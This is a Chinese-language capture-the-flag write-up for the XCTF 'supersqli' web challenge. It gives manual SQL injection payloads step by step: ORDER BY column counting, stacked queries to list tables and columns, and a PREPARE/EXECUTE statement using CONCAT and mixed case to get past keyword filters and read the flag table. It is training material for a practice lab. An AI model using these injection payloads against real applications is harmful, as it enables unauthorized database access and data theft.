supersqli xctf 攻防世界 web高手进阶区
题目描述

进入题目场景

按F12进入开发者模式,可以从注释中了解到本题不能用sqlmap,只能考虑手动注入判断。

接着要判断是为数字注入还是字符注入
数字注入:?inject=1       ?inject=1 and 1=1皆可正常回显
字符注入:?inject=1'  报错   ?inject=1' and '1'='1正常回显,说明为字符注入。

判断字段数:在URL中添加?inject=1' order by 1--+语句,其中1,2都可正常显示。

当判断字段数为3时,就报有未知字段,则可以判断出字段数为2.

联合查询****: union运算符可以将两个或两个以上的select**语句的查询结果集合合并成一个结果集显示 。
在URL上添加1' union select database(),user()#语句,发现以下的关键句被过滤了。( 注意的使用union查询的时候需要和主查询语句的列数相同,刚才我们查询得出列数为2 )

这里联合查询的大部分语句被过滤了,所以我们要考虑用别的方法来解题。
堆叠注入: 堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。
在URL中输入?inject=1';show tables--+

可以发现这里有两张表,分别再查询两张表中的列.
通过desc table_name语句可以查询一张表中的所有字段
在URL后输入,可以看到文件里的内容
?inject=1';desc `words`--+   (注意这里为反引号)

没有发现有flag,此时查询另一张表,输入
?inject=1';desc `1919810931114514`--+

此时要查询flag,要考虑到这里需要运用预编译的知识。
扩展:(预编译知识点)
PREPARE stmt_name FROM preparable_stmt
EXECUTE stmt_name
 [USING @var_name [, @var_name] ...] -
{DEALLOCATE | DROP} PREPARE stmt_name
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
举例:
mysql> PREPARE stmt FROM 'SELECT ?+?';
Query OK, 0 rows affected (0.01 sec)
Statement prepared
mysql> SET @a=1, @b=10 ;
Query OK, 0 rows affected (0.00 sec)
mysql> EXECUTE stmt USING @a, @b;
+-----+
| ?+? |
+-----+
| 11  |
+-----+
将预处理的知识运用到堆叠注入, 这里采用了CONCAT来绕过select的过滤
在URL后输入
?inject=1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

此时发现这里还过滤了set以及prepare
需要注意的一点是这里使用了strstr函数对set和prepare关键字进行了检查
对于strstr函数,它不对大小写进行检查,所以这里可以通过大小写绕过。
在URL后输入
?inject=1';set @sql = CONCAT('Sele','ct * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;--+

得到flag.
借鉴于博主:https://blog.csdn.net/weixin_45613760/article/details/107848982

                
            
        
浙公网安备 33010602011771号